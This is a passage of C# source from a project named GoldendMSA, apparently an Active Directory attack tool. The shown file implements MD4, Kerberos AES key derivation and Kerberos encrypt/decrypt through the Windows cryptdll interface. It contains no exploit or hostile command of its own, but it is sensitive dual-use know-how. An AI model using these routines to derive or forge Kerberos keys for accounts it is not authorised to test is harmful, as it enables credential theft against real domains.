317 | result += $"----------------------------------------------{Environment.NewLine}";
318 |
319 | return result;
320 | }
321 | }
322 | }
--------------------------------------------------------------------------------
/GoldendMSA/Cryptography.cs:
--------------------------------------------------------------------------------
1 | using GoldendMSA;
2 | using System;
3 | using System.ComponentModel;
4 | using System.Linq;
5 | using System.Runtime.InteropServices;
6 | using System.Security.Cryptography;
7 | using System.Text;
8 |
9 | namespace Cryptography
10 | {
11 | public class MD4 : HashAlgorithm
12 | {
13 | private uint[] _state = new uint[4];
14 | private byte[] _buffer = new byte[64];
15 | private int _bufferLength;
16 | private long _totalLength;
17 |
18 | public MD4()
19 | {
20 | Initialize();
21 | }
22 |
23 | public override void Initialize()
24 | {
25 | _state[0] = 0x67452301;
26 | _state[1] = 0xEFCDAB89;
27 | _state[2] = 0x98BADCFE;
28 | _state[3] = 0x10325476;
29 | _bufferLength = 0;
30 | _totalLength = 0;
31 | }
32 |
33 | protected override void HashCore(byte[] array, int ibStart, int cbSize)
34 | {
35 | _totalLength += cbSize;
36 |
37 | while (cbSize > 0)
38 | {
39 | int bytesToCopy = Math.Min(cbSize, 64 - _bufferLength);
40 | Array.Copy(array, ibStart, _buffer, _bufferLength, bytesToCopy);
41 |
42 | _bufferLength += bytesToCopy;
43 | ibStart += bytesToCopy;
44 | cbSize -= bytesToCopy;
45 |
46 | if (_bufferLength == 64)
47 | {
48 | ProcessBlock(_buffer);
49 | _bufferLength = 0;
50 | }
51 | }
52 | }
53 |
54 | protected override byte[] HashFinal()
55 | {
56 | _buffer[_bufferLength] = 0x80;
57 | _bufferLength++;
58 |
59 | if (_bufferLength > 56)
60 | {
61 | while (_bufferLength < 64)
62 | {
63 | _buffer[_bufferLength] = 0;
64 | _bufferLength++;
65 | }
66 | ProcessBlock(_buffer);
67 | _bufferLength = 0;
68 | }
69 |
70 | while (_bufferLength < 56)
71 | {
72 | _buffer[_bufferLength] = 0;
73 | _bufferLength++;
74 | }
75 |
76 | long bitLength = _totalLength * 8;
77 | for (int i = 0; i < 8; i++)
78 | {
79 | _buffer[56 + i] = (byte)(bitLength >> (i * 8));
80 | }
81 |
82 | ProcessBlock(_buffer);
83 |
84 | byte[] result = new byte[16];
85 | for (int i = 0; i < 4; i++)
86 | {
87 | result[i * 4] = (byte)(_state[i]);
88 | result[i * 4 + 1] = (byte)(_state[i] >> 8);
89 | result[i * 4 + 2] = (byte)(_state[i] >> 16);
90 | result[i * 4 + 3] = (byte)(_state[i] >> 24);
91 | }
92 |
93 | return result;
94 | }
95 |
96 | private void ProcessBlock(byte[] block)
97 | {
98 | uint[] x = new uint[16];
99 | for (int i = 0; i < 16; i++)
100 | {
101 | x[i] = (uint)(block[i * 4] | (block[i * 4 + 1] << 8) |
102 | (block[i * 4 + 2] << 16) | (block[i * 4 + 3] << 24));
103 | }
104 |
105 | uint a = _state[0], b = _state[1], c = _state[2], d = _state[3];
106 |
107 | a = FF(a, b, c, d, x[0], 3); d = FF(d, a, b, c, x[1], 7);
108 | c = FF(c, d, a, b, x[2], 11); b = FF(b, c, d, a, x[3], 19);
109 | a = FF(a, b, c, d, x[4], 3); d = FF(d, a, b, c, x[5], 7);
110 | c = FF(c, d, a, b, x[6], 11); b = FF(b, c, d, a, x[7], 19);
111 | a = FF(a, b, c, d, x[8], 3); d = FF(d, a, b, c, x[9], 7);
112 | c = FF(c, d, a, b, x[10], 11); b = FF(b, c, d, a, x[11], 19);
113 | a = FF(a, b, c, d, x[12], 3); d = FF(d, a, b, c, x[13], 7);
114 | c = FF(c, d, a, b, x[14], 11); b = FF(b, c, d, a, x[15], 19);
115 |
116 | // Round 2
117 | a = GG(a, b, c, d, x[0], 3); d = GG(d, a, b, c, x[4], 5);
118 | c = GG(c, d, a, b, x[8], 9); b = GG(b, c, d, a, x[12], 13);
119 | a = GG(a, b, c, d, x[1], 3); d = GG(d, a, b, c, x[5], 5);
120 | c = GG(c, d, a, b, x[9], 9); b = GG(b, c, d, a, x[13], 13);
121 | a = GG(a, b, c, d, x[2], 3); d = GG(d, a, b, c, x[6], 5);
122 | c = GG(c, d, a, b, x[10], 9); b = GG(b, c, d, a, x[14], 13);
123 | a = GG(a, b, c, d, x[3], 3); d = GG(d, a, b, c, x[7], 5);
124 | c = GG(c, d, a, b, x[11], 9); b = GG(b, c, d, a, x[15], 13);
125 |
126 | a = HH(a, b, c, d, x[0], 3); d = HH(d, a, b, c, x[8], 9);
127 | c = HH(c, d, a, b, x[4], 11); b = HH(b, c, d, a, x[12], 15);
128 | a = HH(a, b, c, d, x[2], 3); d = HH(d, a, b, c, x[10], 9);
129 | c = HH(c, d, a, b, x[6], 11); b = HH(b, c, d, a, x[14], 15);
130 | a = HH(a, b, c, d, x[1], 3); d = HH(d, a, b, c, x[9], 9);
131 | c = HH(c, d, a, b, x[5], 11); b = HH(b, c, d, a, x[13], 15);
132 | a = HH(a, b, c, d, x[3], 3); d = HH(d, a, b, c, x[11], 9);
133 | c = HH(c, d, a, b, x[7], 11); b = HH(b, c, d, a, x[15], 15);
134 |
135 | _state[0] += a;
136 | _state[1] += b;
137 | _state[2] += c;
138 | _state[3] += d;
139 | }
140 |
141 | private static uint FF(uint a, uint b, uint c, uint d, uint x, int s)
142 | {
143 | return RotateLeft(a + F(b, c, d) + x, s);
144 | }
145 |
146 | private static uint GG(uint a, uint b, uint c, uint d, uint x, int s)
147 | {
148 | return RotateLeft(a + G(b, c, d) + x + 0x5A827999, s);
149 | }
150 |
151 | private static uint HH(uint a, uint b, uint c, uint d, uint x, int s)
152 | {
153 | return RotateLeft(a + H(b, c, d) + x + 0x6ED9EBA1, s);
154 | }
155 |
156 | private static uint F(uint x, uint y, uint z)
157 | {
158 | return (x & y) | (~x & z);
159 | }
160 |
161 | private static uint G(uint x, uint y, uint z)
162 | {
163 | return (x & y) | (x & z) | (y & z);
164 | }
165 |
166 | private static uint H(uint x, uint y, uint z)
167 | {
168 | return x ^ y ^ z;
169 | }
170 |
171 | private static uint RotateLeft(uint value, int shift)
172 | {
173 | return (value << shift) | (value >> (32 - shift));
174 | }
175 | }
176 |
177 | public class AES256
178 | {
179 | private const int AES128_SEEDSIZE = 16;
180 | private const int AES128_KEYSIZE = 16;
181 | private const int AES256_SEEDSIZE = 32;
182 | private const int AES256_KEYSIZE = 32;
183 | private const int BLOCKSIZE = 16;
184 | private const int DEFAULT_ITERATIONS = 4096;
185 |
186 | public byte[] StringToKeyAES256(byte[] password, string salt, byte[] parameters = null)
187 | {
188 | return StringToKey(password, salt, AES256_SEEDSIZE, AES256_KEYSIZE, parameters);
189 | }
190 |
191 | public byte[] StringToKeyAES128(byte[] password, string salt, byte[] parameters = null)
192 | {
193 | return StringToKey(password, salt, AES128_SEEDSIZE, AES128_KEYSIZE, parameters);
194 | }
195 |
196 | private byte[] StringToKey(byte[] password, string salt, int seedSize, int keySize, byte[] parameters = null)
197 | {
198 | int iterations = DEFAULT_ITERATIONS;
199 | if (parameters != null && parameters.Length >= 4)
200 | {
201 | iterations = BitConverter.ToInt32(parameters, 0);
202 | if (BitConverter.IsLittleEndian)
203 | {
204 | iterations = ((iterations & 0xFF) << 24) |
205 | (((iterations >> 8) & 0xFF) << 16) |
206 | (((iterations >> 16) & 0xFF) << 8) |
207 | ((iterations >> 24) & 0xFF);
208 | }
209 | }
210 |
211 | byte[] saltBytes = Encoding.UTF8.GetBytes(salt);
212 |
213 | byte[] seed;
214 | using (var pbkdf2 = new Rfc2898DeriveBytes(password, saltBytes, iterations, HashAlgorithmName.SHA1))
215 | {
216 | seed = pbkdf2.GetBytes(seedSize);
217 | }
218 |
219 | byte[] tempKey = new byte[keySize];
220 | Array.Copy(seed, tempKey, keySize);
221 |
222 | byte[] kerberosConstant = Encoding.UTF8.GetBytes("kerberos");
223 | byte[] finalKey = Derive(tempKey, kerberosConstant, seedSize, keySize);
224 |
225 | return finalKey;
226 | }
227 |
228 | private byte[] Derive(byte[] key, byte[] constant, int seedSize, int keySize)
229 | {
230 | byte[] plaintext = NFold(constant, BLOCKSIZE);
231 |
232 | byte[] rndseed = new byte[0];
233 | while (rndseed.Length < seedSize)
234 | {
235 | byte[] ciphertext = BasicEncrypt(key, plaintext);
236 | byte[] newRndseed = new byte[rndseed.Length + ciphertext.Length];
237 | Array.Copy(rndseed, newRndseed, rndseed.Length);
238 | Array.Copy(ciphertext, 0, newRndseed, rndseed.Length, ciphertext.Length);
239 | rndseed = newRndseed;
240 | plaintext = ciphertext;
241 | }
242 |
243 | byte[] finalKey = new byte[keySize];
244 | Array.Copy(rndseed, finalKey, keySize);
245 | return finalKey;
246 | }
247 |
248 | private byte[] BasicEncrypt(byte[] key, byte[] plaintext)
249 | {
250 | int paddedLength = ((plaintext.Length + 15) / 16) * 16;
251 | byte[] paddedPlaintext = new byte[paddedLength];
252 | Array.Copy(plaintext, paddedPlaintext, plaintext.Length);
253 |
254 | using (var aes = Aes.Create())
255 | {
256 | aes.Key = key;
257 | aes.IV = new byte[16];
258 | aes.Mode = CipherMode.CBC;
259 | aes.Padding = PaddingMode.None;
260 |
261 | using (var encryptor = aes.CreateEncryptor())
262 | {
263 | return encryptor.TransformFinalBlock(paddedPlaintext, 0, paddedPlaintext.Length);
264 | }
265 | }
266 | }
267 | private byte[] NFold(byte[] input, int nbytes)
268 | {
269 | int inputLen = input.Length;
270 | int lcm = Lcm(nbytes, inputLen);
271 |
272 | byte[] bigstr = new byte[lcm];
273 | for (int i = 0; i < lcm / inputLen; i++)
274 | {
275 | byte[] rotated = RotateRight(input, 13 * i);
276 | Array.Copy(rotated, 0, bigstr, i * inputLen, inputLen);
277 | }
278 |
279 | // Add slices together with ones' complement arithmetic
280 | byte[] result = new byte[nbytes];
281 | for (int i = 0; i < lcm; i += nbytes)
282 | {
283 | byte[] slice = new byte[nbytes];
284 | Array.Copy(bigstr, i, slice, 0, nbytes);
285 | result = AddOnesComplement(result, slice);
286 | }
287 |
288 | return result;
289 | }
290 |
291 | private byte[] RotateRight(byte[] data, int nbits)
292 | {
293 | byte[] result = new byte[data.Length];
294 | int nbytes = (nbits / 8) % data.Length;
295 | int remain = nbits % 8;
296 |
297 | for (int i = 0; i < data.Length; i++)
298 | {
299 | int sourceIndex = (i - nbytes + data.Length) % data.Length;
300 | int prevIndex = (sourceIndex - 1 + data.Length) % data.Length;
301 |
302 | result[i] = (byte)((data[sourceIndex] >> remain) |
303 | ((data[prevIndex] << (8 - remain)) & 0xFF));
304 | }
305 |
306 | return result;
307 | }
308 |
309 | private byte[] AddOnesComplement(byte[] a, byte[] b)
310 | {
311 | int[] result = new int[a.Length];
312 |
313 | for (int i = 0; i < a.Length; i++)
314 | {
315 | result[i] = a[i] + b[i];
316 | }
317 |
318 | bool hasCarry;
319 | do
320 | {
321 | hasCarry = false;
322 | for (int i = 0; i < result.Length; i++)
323 | {
324 | if (result[i] > 0xFF)
325 | {
326 | hasCarry = true;
327 | int nextIndex = (i + 1) % result.Length;
328 | result[nextIndex] += result[i] >> 8;
329 | result[i] &= 0xFF;
330 | }
331 | }
332 | } while (hasCarry);
333 |
334 | byte[] final = new byte[a.Length];
335 | for (int i = 0; i < a.Length; i++)
336 | {
337 | final[i] = (byte)result[i];
338 | }
339 |
340 | return final;
341 | }
342 |
343 | private int Gcd(int a, int b)
344 | {
345 | while (b != 0)
346 | {
347 | int temp = b;
348 | b = a % b;
349 | a = temp;
350 | }
351 | return a;
352 | }
353 |
354 | private int Lcm(int a, int b)
355 | {
356 | return (a * b) / Gcd(a, b);
357 | }
358 |
359 | }
360 |
361 | public class CryptoActions
362 | {
363 |
364 | public static byte[] KerberosDecrypt(Interop.KERB_ETYPE eType, int keyUsage, byte[] key, byte[] data)
365 | {
366 | Interop.KERB_ECRYPT pCSystem;
367 | IntPtr pCSystemPtr;
368 |
369 |
370 | int status = Interop.CDLocateCSystem(eType, out pCSystemPtr);
371 | pCSystem = (Interop.KERB_ECRYPT)Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT));
372 | if (status != 0)
373 | throw new Win32Exception(status, "Error on CDLocateCSystem");
374 |
375 | IntPtr pContext;
376 | Interop.KERB_ECRYPT_Initialize pCSystemInitialize = (Interop.KERB_ECRYPT_Initialize)Marshal.GetDelegateForFunctionPointer(pCSystem.Initialize, typeof(Interop.KERB_ECRYPT_Initialize));
377 | Interop.KERB_ECRYPT_Decrypt pCSystemDecrypt = (Interop.KERB_ECRYPT_Decrypt)Marshal.GetDelegateForFunctionPointer(pCSystem.Decrypt, typeof(Interop.KERB_ECRYPT_Decrypt));
378 | Interop.KERB_ECRYPT_Finish pCSystemFinish = (Interop.KERB_ECRYPT_Finish)Marshal.GetDelegateForFunctionPointer(pCSystem.Finish, typeof(Interop.KERB_ECRYPT_Finish));
379 | status = pCSystemInitialize(key, key.Length, keyUsage, out pContext);
380 | if (status != 0)
381 | throw new Win32Exception(status);
382 |
383 | int outputSize = data.Length;
384 | if (data.Length % pCSystem.BlockSize != 0)
385 | outputSize += pCSystem.BlockSize - (data.Length % pCSystem.BlockSize);
386 |
387 | string algName = Marshal.PtrToStringAuto(pCSystem.AlgName);
388 |
389 | outputSize += pCSystem.Size;
390 | byte[] output = new byte[outputSize];
391 |
392 | status = pCSystemDecrypt(pContext, data, data.Length, output, ref outputSize);
393 | pCSystemFinish(ref pContext);
394 |
395 | return output.Take(outputSize).ToArray();
396 | }
397 |
398 |
399 | public static byte[] KerberosEncrypt(Interop.KERB_ETYPE eType, int keyUsage, byte[] key, byte[] data)
400 | {
401 | Interop.KERB_ECRYPT pCSystem;
402 | IntPtr pCSystemPtr;
403 |
404 | int status = Interop.CDLocateCSystem(eType, out pCSystemPtr);
405 | pCSystem = (Interop.KERB_ECRYPT)Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT));
406 | if (status != 0)
407 | throw new Win32Exception(status, "Error on CDLocateCSystem");
408 |
409 | IntPtr pContext;
410 | Interop.KERB_ECRYPT_Initialize pCSystemInitialize = (Interop.KERB_ECRYPT_Initialize)Marshal.GetDelegateForFunctionPointer(pCSystem.Initialize, typeof(Interop.KERB_ECRYPT_Initialize));
411 | Interop.KERB_ECRYPT_Encrypt pCSystemEncrypt = (Interop.KERB_ECRYPT_Encrypt)Marshal.GetDelegateForFunctionPointer(pCSystem.Encrypt, typeof(Interop.KERB_ECRYPT_Encrypt));
412 | Interop.KERB_ECRYPT_Finish pCSystemFinish = (Interop.KERB_ECRYPT_Finish)Marshal.GetDelegateForFunctionPointer(pCSystem.Finish, typeof(Interop.KERB_ECRYPT_Finish));
413 | status = pCSystemInitialize(key, key.Length, keyUsage, out pContext);
414 | if (status != 0)
415 | throw new Win32Exception(status);
416 |
417 | int outputSize = data.Length;
418 | if (data.Length % pCSystem.BlockSize != 0)
419 | outputSize += pCSystem.BlockSize - (data.Length % pCSystem.BlockSize);
420 |
421 | string algName = Marshal.PtrToStringAuto(pCSystem.AlgName);
422 |
423 | outputSize += pCSystem.Size;
424 | byte[] output = new byte[outputSize];
425 |
426 | status = pCSystemEncrypt(pContext, data, data.Length, output, ref outputSize);
427 | pCSystemFinish(ref pContext);
428 |
429 | return output;
430 | }
431 |
432 | }
433 | }
434 |
435 |
436 |
--------------------------------------------------------------------------------